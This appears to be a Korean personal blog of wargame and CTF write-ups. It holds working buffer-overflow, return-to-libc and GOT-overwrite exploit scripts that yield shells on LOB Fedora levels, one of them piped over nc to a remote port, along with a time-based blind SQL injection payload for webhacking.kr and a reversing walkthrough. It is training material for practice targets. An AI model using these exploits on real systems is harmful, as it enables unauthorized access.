서버가 아파치일 경우, 아파치 자체의 기능으로 같은 세션으로 같은 페이지를 부를 때, 한 페이지의 스크립트가 모두 끝나기 전까지는 다른 페이지가 실행되지 않는다.


Posted by windowhan
,

set *(자료형*)포인터주소 = 값

예시)

(gdb) set *(long*)0xb7fcc104 = 0xb7fcc10c

(gdb) x/x 0xb7fcc104

0xb7fcc104: 0xb7fcc10c

(gdb) 

0xb7fcc108: 0x0804858e

(gdb) 

0xb7fcc10c: 0x00031337

(gdb) 

0xb7fcc110: 0x007db0e7

(gdb) 


Posted by windowhan
,

FC3은 않그러지만 FC4부터 임시버퍼에 ASLR이 걸려있다고 들었다.

FC4는 숫자가 2개만 랜덤하게 되서 Brute Force하게 공격을하면 쓸 수 있을 것같다.


근데 희안한건 FC13에서는 임시버퍼에 ASLR이 제대로 걸려있지않다.

왜그런지는 잘 모르겠다.


풀려있으면 그냥 써야지.

Posted by windowhan
,

데이터를 특정한 곳에 갔다놓을때는 뒤에 널문자가 붙는듯.


따라서 ret 다음에 바로 canary가 존재할 경우에는 canary를 침범할 수 있으니 조심해야한다.


(gdb) x/100x $esp

0xbffca220: 0x00000000 0x530e0443 0x00000000 0x530e14b1

0xbffca230: 0x00000000 0x61616161 0x61616161 0x61616161

0xbffca240: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca250: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca260: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca270: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca280: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca290: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca2a0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca2b0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca2c0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca2d0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca2e0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca2f0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca300: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca310: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca320: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca330: 0x61616161 0x62626262 0x63636363 0x0804000a

0xbffca340: 0x00031337 0xbffca368 0x008cb740 0x00000000

0xbffca350: 0x007a3828 0x00040000 0x00000000 0x007a3300

0xbffca360: 0x00000000 0x0079eb64 0x61616161 0x61616161

0xbffca370: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca380: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca390: 0x61616161 0x61616161 0x61616161 0x61616161

0xbffca3a0: 0x61616161 0x61616161 0x61616161 0x61616161

(gdb) she (python -c 'print "a"*260 + "bbbb" + "cccc"') > res

(gdb) r < res

The program being debugged has been started already.

Start it from the beginning? (y or n) y

warning: cannot close "shared object read from target memory": File in wrong format

Starting program: /home/cruel/tmp/enigma < res

Reading symbols from shared object read from target memory...(no debugging symbols found)...done.

Loaded system supplied DSO at 0x576000

(no debugging symbols found)

(no debugging symbols found)

enigma : The brothers will be glad to have you!

you : 

Breakpoint 3, 0x08048526 in vuln ()

(gdb) x/100x $esp

0xbf9d9180: 0x00000000 0x530e14b4 0x00000000 0x530e14c1

0xbf9d9190: 0x00000000 0x61616161 0x61616161 0x61616161

0xbf9d91a0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d91b0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d91c0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d91d0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d91e0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d91f0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9200: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9210: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9220: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9230: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9240: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9250: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9260: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9270: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9280: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9290: 0x61616161 0x61616161 0x62626262 0x63636363

0xbf9d92a0: 0x0003000a 0xbf9d92c8 0x008cb740 0x00000000

0xbf9d92b0: 0x007a3828 0x00040000 0x00000000 0x007a3300

0xbf9d92c0: 0x00000000 0x0079eb64 0x61616161 0x61616161

0xbf9d92d0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d92e0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d92f0: 0x61616161 0x61616161 0x61616161 0x61616161

0xbf9d9300: 0x61616161 0x61616161 0x61616161 0x61616161



데이터 + \x0a\x00을 추가하는듯.

Posted by windowhan
,

문제의 소스입니다.


 


[dark_stone@Fedora_2ndFloor ~]$ cat cruel.c
/*
 The Lord of the BOF : The Fellowship of the BOF
 - cruel
 - Local BOF on Fedora Core 4
 - hint : no more fake ebp, RET sleding on random library
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];


    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }


    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


 


모양은 상당히 단순합니다.


하지만 Fedora Core 3 까지는 인자 참조를 할 때, ebp를 참조하지만 Fedora Core 4부터는 esp를 기준으로 참조를 합니다.


(개인적인 생각으로 ebp가 아닌 esp가 기준이되면 스택이 변동될때마다 esp가 달라져서 힘들것같기도한데... 나중에 공부를 해보다보면 이유를 찾을수 있겠죠 ㅋㅋ)


 


인자로 삼기위해서는 변하지 않으면서, 고정적인 데이터가 필요합니다.


Data Segment에 위치한 데이터를 심볼릭링크를 걸어서 인자로 삼을 수 있겠네요.


 


(gdb) x/8x $esp
0xbf92401c: 0x007bad7f 0x00000002 0xbf9240a4 0xbf9240b0
0xbf92402c: 0xbf924060 0x00795898 0x007a3878 0xb7f26690
(gdb)
0xbf92403c: 0x00000001 0x008caff4 0x007a2ca0 0x08048454
0xbf92404c: 0xbf924078 0xbf924020 0x007bad44 0x00000000


 


ret은 pop %eip를 해줌으로써, pop 명령어가 가진 특성으로 인해 esp가 4씩 증가한다는 특징이 있습니다.


대략 ret을 9번쯤하면 esp+4위치에 0x08048454에 위치한 데이터들이 인자로 들어가겠네요.


 


[dark_stone@Fedora_2ndFloor tmp]$ xxd err | grep cve -A 2
0000000: 6578 6563 7665 2822 2e2f 6372 7565 6c22  execve("./cruel"
0000010: 2c20 5b22 2e2f 6372 7565 6c22 2c20 2261  , ["./cruel", "a
0000020: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
--
0000680: 3330 300a 6578 6563 7665 2822 5589 e557  300.execve("U..W
0000690: 5653 83ec 0ce8 222c 205b 2222 2c20 2251  VS....", ["", "Q
00006a0: 5c32 3034 5c34 5c31 3051 5c32 3034 5c34  \204\4\10Q\204\4


 


[dark_stone@Fedora_2ndFloor ~]$ gcc -o `perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"'` ./tmp/shell.c


 


[dark_stone@Fedora_2ndFloor ~]$ ./cruel `perl -e 'print "a"x260,"\x51\x84\x04\x08"x9,"\x68\x2d\x83"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQQQQQQQQQh-
sh-3.00$ id
uid=501(cruel) gid=501(cruel) groups=500(dark_stone) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 501
come on, come over
sh-3.00$


Posted by windowhan
,

BAAASIC GNIREENIGNE
출처: HISCHALL 2013
40점
설명: 히히히
basic50!!.exe

=======================

입력받는 부분의 어셈부터 보도록 하겠다.

.text:00BC1564                 call    INPUUUUUUUUUT

이부분이 입력값을 받는 함수를 호출하는 부분이다.

이 뒤에 루틴부터 설명하도록 하겠다.


.text:00BC156C                 mov     eax, 1
.text:00BC1571                 imul    eax, 5
.text:00BC1574                 movsx   ecx, [ebp+eax+buffer[0]]
.text:00BC1579                 cmp     ecx, 69
.text:00BC157C                 jnz     loc_BC16D2

buffer[0]에서 5만큼 떨어진 거리 (buffer[5])하고 69('E')를 비교하고있다.

loc_BC16D2 이 부분은 살펴보니 wrong이라는 문자열을 포함하고 있었다.

틀리면 호출되는 부분일 것이다. 따라서 저부분을 회피하면서 문자열을 작성 해주면 된다.

현재 BUFFER = ?????E???????????


.text:00BC1582                 mov     eax, 1
.text:00BC1587                 shl     eax, 0
.text:00BC158A                 movsx   ecx, byte ptr [ebp+eax-1Ch]
.text:00BC158F                 xor     ecx, 9
.text:00BC1592                 cmp     ecx, 'p'
.text:00BC1595                 jnz     loc_BC16D0


(헥스레이로 훑어본 결과 shl부분은 별 의미가 없는듯 싶다.)

이번에는 buffer[1]에 x^9 = p 라는 식이 보인다.

112 ^ 9 = y 이므로 input[1] = y

현재 BUFFER = ?y???E??????


.text:00BC159B                 mov     eax, 1
.text:00BC15A0                 imul    eax, 15
.text:00BC15A3                 movsx   ecx, byte ptr [ebp+eax-1Ch]
.text:00BC15A8                 sub     ecx, 10
.text:00BC15AB                 cmp     ecx, 87

어셈으로 봤을 때, 15보다 큰 숫자가 없으므로 문자열의 길이는 총 16글자일 것이다.

buffer[15]를 87 + 10(a)와 비교하고 있다

현재 BUFFER = ?y???E?????????a




.text:00BC15B4                 mov     eax, 1
.text:00BC15B9                 imul    eax, 6
.text:00BC15BC                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15C0                 mov     byte ptr [ebp+Str1], cl
.text:00BC15C3                 mov     eax, 1
.text:00BC15C8                 imul    eax, 7
.text:00BC15CB                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15CF                 mov     byte ptr [ebp+Str1+1], cl
.text:00BC15D2                 mov     eax, 1
.text:00BC15D7                 shl     eax, 3
.text:00BC15DA                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15DE                 mov     [ebp+var_36], cl
.text:00BC15E1                 mov     eax, 1
.text:00BC15E6                 imul    eax, 9
.text:00BC15E9                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15ED                 mov     byte ptr [ebp+var_35], cl
.text:00BC15F0                 mov     eax, 1
.text:00BC15F5                 imul    eax, 0Ah
.text:00BC15F8                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15FC                 mov     byte ptr [ebp+var_35+1], cl
.text:00BC15FF                 mov     eax, 1
.text:00BC1604                 imul    eax, 0Bh
.text:00BC1607                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC160B                 mov     byte ptr [ebp+var_35+2], cl
.text:00BC160E                 mov     eax, 1
.text:00BC1613                 imul    eax, 0Ch
.text:00BC1616                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC161A                 mov     byte ptr [ebp+var_35+3], cl
.text:00BC161D                 mov     eax, 1
.text:00BC1622                 imul    eax, 0Dh
.text:00BC1625                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC1629                 mov     byte ptr [ebp+var_31], cl
.text:00BC162C                 mov     eax, 1
.text:00BC1631                 imul    eax, 0Eh
.text:00BC1634                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC1638                 mov     byte ptr [ebp+var_31+1], cl
.text:00BC163B                 mov     [ebp+var_2F], 0
.text:00BC163F                 xor     eax, eax
.text:00BC1641                 mov     [ebp+var_2E], eax
.text:00BC1644                 mov     [ebp+var_2A], eax
.text:00BC1647                 mov     [ebp+var_26], ax
.text:00BC164B                 push    offset Str2     ; "paktdlTdm"


buffer[6] ~ buffer[15] 를 paktdlTdm이라는 문자열과 비교해주고있습니다.

현재 BUFFER = ?y???EpaktdlTdma


mov     eax, 1
.text:00BC1665                 imul    eax, 0
.text:00BC1668                 movsx   ecx, [ebp+eax+buffer[0]]
.text:00BC166D                 cmp     ecx, 'd'

buffer[0]을 d랑 비교해주고 있습니다.

현재 BUFFER = dy???EpaktdlTdma


mov     eax, 1
.text:00BC1677                 shl     eax, 1
.text:00BC1679                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC167D                 mov     byte ptr [ebp+var_48], cl
.text:00BC1680                 mov     eax, 1
.text:00BC1685                 imul    eax, 3
.text:00BC1688                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC168C                 mov     byte ptr [ebp+var_48+1], cl
.text:00BC168F                 mov     eax, 1
.text:00BC1694                 shl     eax, 2
.text:00BC1697                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC169B                 mov     [ebp+var_46], cl
.text:00BC169E                 xor     eax, eax
.text:00BC16A0                 mov     [ebp+var_45], ax
.text:00BC16A4                 push    offset aAka     ; "aka"
.text:00BC16A9                 lea     eax, [ebp+var_48]
.text:00BC16AC                 push    eax             ; Str1


buffer[1] ~ buffer[3] 까지 aka라는 문자열과 비교해주고있구요.

현재 BUFFER = dyakaEpaktdlTdma



평소에는 난독증이 있어서 어셈을 잘 보지못했었는데 헥스레이랑 같이 보니까 재밌기도하고 답이나오네요 ㅎ

너무 헥스레이를 믿어서는 않될것같습니다.

'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
Codegate 2014 후기  (2) 2014.02.24
Posted by windowhan
,

Challenge 57

Wargame/webhacking.kr 2014. 2. 24. 22:11

힌트로 제시해준 소스이다.

=============================================================================

<html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?
$secret_key
="????"
;

if(
time()>1309064400) exit("오후 2시에 공개됩니다."
);

if(
$_POST[pw
])
{

if(
$_POST[pw]==$secret_key
)
{
mysql_query("delete from challenge57msg"
);
@
solve
();
exit();
}

}


if(
$_GET[msg] && $_GET[se
])
{
if(
eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied"
);

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])"
);
echo(
"Done<br><br>"
);
}

?>

<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>

<form method=post action=index.php>
Secret key : <input name=pw><input type=submit><br><br>
</form>

<br><br><a href=indexbackupfile.phps>phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=blueh4g>BlueH4g</a></center>
<br><br><br>

</body>
</html>

=============================================================================

http://webhacking.kr/challenge/web/web-34/index.php?msg=sadf&se=if(ascii(substr(pw,0,1))>0,sleep(100),1)


이런식으로 se에는 '(싱글 쿼터)로 묶여있지 않으므로 if문을 이용해서 timebased blind sql injection을 시도하면 풀린다.


sleep의 인자로 너무 큰 숫자를 주면 서버에 무리가 가니까 적당한 숫자를 인자로 주자.

Posted by windowhan
,

guest@notroot-virtual-machine:~$ ulimit -s unlimited
guest@notroot-virtual-machine:~$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 08:01 393239     /bin/cat
08053000-08054000 r--p 0000a000 08:01 393239     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 393239     /bin/cat
0a01a000-0a03b000 rw-p 00000000 00:00 0          [heap]
40000000-40020000 r-xp 00000000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so
40020000-40021000 r--p 0001f000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so
40021000-40022000 rw-p 00020000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so
40022000-40023000 r-xp 00000000 00:00 0          [vdso]
40023000-40025000 rw-p 00000000 00:00 0
40025000-40026000 r--p 00855000 08:01 2236817    /usr/lib/locale/locale-archive
40038000-401e6000 r-xp 00000000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so
401e6000-401e8000 r--p 001ae000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so
401e8000-401e9000 rw-p 001b0000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so
401e9000-401ed000 rw-p 00000000 00:00 0
401ed000-403ed000 r--p 00000000 08:01 2236817    /usr/lib/locale/locale-archive
403ed000-4051f000 r--p 00858000 08:01 2236817    /usr/lib/locale/locale-archive
bfacf000-bfaf0000 rw-p 00000000 00:00 0          [stack]
guest@notroot-virtual-machine:~$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 08:01 393239     /bin/cat
08053000-08054000 r--p 0000a000 08:01 393239     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 393239     /bin/cat
0904d000-0906e000 rw-p 00000000 00:00 0          [heap]
40000000-40020000 r-xp 00000000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so
40020000-40021000 r--p 0001f000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so
40021000-40022000 rw-p 00020000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so
40022000-40023000 r-xp 00000000 00:00 0          [vdso]
40023000-40025000 rw-p 00000000 00:00 0
40025000-40026000 r--p 00855000 08:01 2236817    /usr/lib/locale/locale-archive
40038000-401e6000 r-xp 00000000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so
401e6000-401e8000 r--p 001ae000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so
401e8000-401e9000 rw-p 001b0000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so
401e9000-401ed000 rw-p 00000000 00:00 0
401ed000-403ed000 r--p 00000000 08:01 2236817    /usr/lib/locale/locale-archive
403ed000-4051f000 r--p 00858000 08:01 2236817    /usr/lib/locale/locale-archive
bfafc000-bfb1d000 rw-p 00000000 00:00 0          [stack]

Posted by windowhan
,

문제의 소스입니다.

 

[evil_wizard@Fedora_1stFloor tmp]$ cat ../dark_stone.c
/*
 The Lord of the BOF : The Fellowship of the BOF
 - dark_stone
 - Remote BOF on Fedora Core 3
 - hint : GOT overwriting again
 - port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
 asm("pop %eax");
 asm("pop %eax");
 asm("ret");
}
 
int main()
{
 char buffer[256];
 char saved_sfp[4];
 int length;
 char temp[1024];

 printf("dark_stone : how fresh meat you are!\n");
 printf("you : ");
 fflush(stdout);

 // give me a food
 fgets(temp, 1024, stdin);

 // for disturbance RET sleding
 length = strlen(temp);
  
 // save sfp
 memcpy(saved_sfp, buffer+264, 4);
 
 // overflow!!
 strcpy(buffer, temp);

 // restore sfp
 memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

 // buffer cleaning
 memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

 printf("%s\n", buffer);
}

 

저번 문제와 똑같은 문제지만 저번 문제와 이번문제의 차이는 저번 문제는 local 환경이었고, 이번 문제는 remote환경 이라는 것입니다.

 

문제 - 4 : http://windowhan.tistory.com/entry/hellfire-evilwizard (저번 문제와 똑같이 풀었습니다.)

 

제가 쓴 소스입니다.

 

[evil_wizard@Fedora_1stFloor tmp]$ cat ex.py
#!/usr/bin/python
from struct import pack
import os

printf_plt = 0x08048408
printf_got = 0x0804984c
strcpy_plt = 0x08048438

garget1 = 0x08048484 #0xc0
garget2 = 0x0804838c #0x07
garget3 = 0x080482b4 #0x75
garget4 = 0x0804982c #0x00

b_garget1 = 0x0804872d #h
b_garget2 = 0x08048287 #s
b_garget3 = 0x08048114 #/
b_garget4 = 0x08048720 #n
b_garget5 = 0x0804811d #i
b_garget6 = 0x08048117 #b
b_garget7 = 0x08048114 #/
b_garget8 = 0x0804982c #\x00

func_stack = 0x08049874 #system function address
binsh_stack = 0x8049980 #/bin/sh address
final_binsh_stack = 0x08049ad0
ppr = 0x080484f3 #pop;pop;ret
binsh = 0x00833603 #"/bin/sh"

p = lambda x : pack("<L",x)

payload = ""
payload += "\x90"*268
payload += p(strcpy_plt) + p(ppr) + p(func_stack+0) + p(garget1)
payload += p(strcpy_plt) + p(ppr) + p(func_stack+1) + p(garget2)
payload += p(strcpy_plt) + p(ppr) + p(func_stack+2) + p(garget3)
payload += p(strcpy_plt) + p(ppr) + p(func_stack+3) + p(garget4)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+4) + p(b_garget8)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+5) + p(b_garget8)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+6) + p(b_garget8)
#payload += p(strcpy_plt) + p(ppr) + p(func_stack+7) + p(b_garget8)
payload += p(strcpy_plt) + p(ppr) + p(printf_got) + p(func_stack)

payload += p(printf_plt) + "\x90"*4 + p(binsh)

print payload

 

 

=========================================================================

 

[evil_wizard@Fedora_1stFloor tmp]$ (python ex.py;cat)|nc localhost 8888
dark_stone : how fresh meat you are!
you :
id
uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t
my-ps^Hass
/bin/sh: line 3: my-pass: command not found
my-pass
euid = 505
let there be light

 

==========================================================================

 

[dark_stone@Fedora_1stFloor ~]$ ls
dropped_item.txt
[dark_stone@Fedora_1stFloor ~]$ cat dropped_item.txt
                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,'
                   `'

 

==================================================================

07을 찾아야했는데 00을 찾아서 넣어주고 있었네요...

원래 system 함수의 주소는 0x7507c0 인데 0x7500c0으로 넣어서 엉뚱한곳을 실행시키고있었다는..하하..-_-;;

 

보스몹이 쥐고있던 아이템을 획득했습니다 ㅋㅋ

 

 

'Wargame > LOB (Fedora3)' 카테고리의 다른 글

hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,

그래야 최소한의 공부는 하지..

'일기장' 카테고리의 다른 글

fseek 옵션  (0) 2015.11.18
Posted by windowhan
,

Codegate 2014 후기

CTF 2014. 2. 24. 02:59

후... 한문제도 못풀었다...ㅋㅋ


반성해야지.... 요즘 매일 폐인처럼 하던 게임도 5일째 끊었고!! 이제 공부할일만남았다!!

아자아자 파이팅 :)


 

'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,

strcpy같은 함수로 GOT Overwrite할 때, 가급적이면 custom stack을 생성해서 그곳에 함수의 주소를 복사 후에 그 custom stack에 있는것으로 GOT Overwrite 하는것이 가장 좋다.

 

1byte 씩 덮어 씌울경우, 1byte만 복사되는게 아니라 그 뒤에 \x00을 만날 때 까지 쭈욱 복사가 된다.

그 과정에서 엉뚱한 GOT을 overwrite할 위험이 있으므로, 가급적 custom stack을 이용하는 것이 좋다.

이 방법이 쓸수없는 그런 상황일때는 최대한 내가 복사하려는 1byte와 \x00이 가깝게 붙어잇는것을 고른다.

 

일례로 strcpy로 계속 chaining RTL을 해주면서 GOT Overwrite를 해주고 있었는데 2번째 strcpy에서 뻑가버리고 세그먼테이션 폴트를 내뱉음...

복사하는 바이트가 너무 길어서 strcpy의 GOT까지 덮어씌웠기떄문이다

:D

Posted by windowhan
,

[Linux BOF] pop;pop;ret 원리

Tip 2014. 2. 22. 01:37

제곤이 블로그(xer0s.tistory.com)를 보고 알게 되었다.


call로 정상적으로 특정 함수를 호출 했을 때, 함수가 끝나고난 후 코드를 실행 시키기 위해서 saved eip를 스택에 푸시합니다.

ret으로 특정 함수를 호출하고 그 함수가 끝나면 saved eip가 되있어야할 위치의 값을 호출합니다.
따라서 [system][exit]["/bin/sh"] 이런 구성도 가능합니다

Posted by windowhan
,


문제의 소스입니다.

[hell_fire@Fedora_1stFloor tmp]$ cat ../evil_wizard.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- evil_wizard
- Local BOF on Fedora Core 3 
- hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
 
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
int length; 

if(argc < 2){
printf("argv error\n");
exit(0);
}

// for disturbance RET sleding
length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());

// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, argv[1]);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

printf("%s\n", buffer);
}

여기서 살펴보아야 할 것을 꼽하보자면
 - sfp를 복구해주고있음
 - RET sleding을 방지하기 위해서 내가 입력해준 부분을 제외한 스택의 모든 부분을 0으로 초기화 하고있음.

Fedora Core 3에는 바이너리 내에 chaining rtl을 하는데 중요한 pop pop ret이 없기 때문에 inline assembly를 이용해서 임의로 넣어줬습니다.

힌트에는 GOT Overwrite를 이용하라고 했으니 strcpy@plt를 이용해서 덮어 씌워보겠습니다.
저는 printf의 GOT를 system함수의 주소로 덮어씌워보려고합니다.

페이로드를 짜보자면
[buffer + dummy (268bytes)] [strcpy@plt][pop;pop;ret][printf@got][first_garget][strcpy@plt][pop;pop;ret][printf@got+1][second_garget][strcpy@plt][pop;pop;ret][printf@got+2][third_garget][strcpy@plt][pop;pop;ret][printf@got+3][fourth_garget][printf@plt][dummy(4bytes)][/bin/sh]

printf의 GOT (총 4bytes)를 1byte씩 system함수의 주소로 덮었습니다.

그리고 pop;pop;ret 에 대해서 간단하게 설명하자면, 

첫번째 pop이 진행되면 esp가 4바이트가 증가하면서 esp가 첫번째 인자를 가리키게 되고 
두번째 pop이 진행되면 또 esp가 4바이트가 증가하면서 esp가 두번째 인자를 가리키게 됩니다.

세번째 ret은 pop %eip(물론 이런 명령어는 존재하지않습니다)와 같은 역할을 합니다. esp가 4바이트 증가한 후에, esp는 두번째 함수를 가리키고 있을 때, esp가 가리키고 있는 데이터를 eip에 집어넣습니다. 
그러고나서 다음 자리에 있는 pop;pop;ret을 가리키게 됩니다.


제가 쓴 소스입니다.
#!/usr/bin/python
from struct import pack
import os

printf_plt = 0x08048424
printf_got = 0x08049884 #0x08049884 , 0x08048429
strcpy_plt = 0x08048494

#garget = system_addr
first_garget_byte = 0x08048524+8 # 0x90
second_garget_byte = 0x08048148+12 # 0x54
third_garget_byte = 0x080486f4+6 # 0x7d
fourth_garget_byte = 0x08048149 # 0x00

ppr = 0x0804854f # pop;pop;ret
shell = 0x00833603 # "/bin/sh"

p = lambda x : pack("<L",x)

payload = ""
payload += "\x90"*268
payload += p(strcpy_plt) + p(ppr) + p(printf_got) + p(first_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+1) + p(second_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+2) + p(third_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+3) + p(fourth_garget_byte)
payload += p(printf_plt) + "\x90"*4 + p(shell)

===================================================================

[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard `python -c "print '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
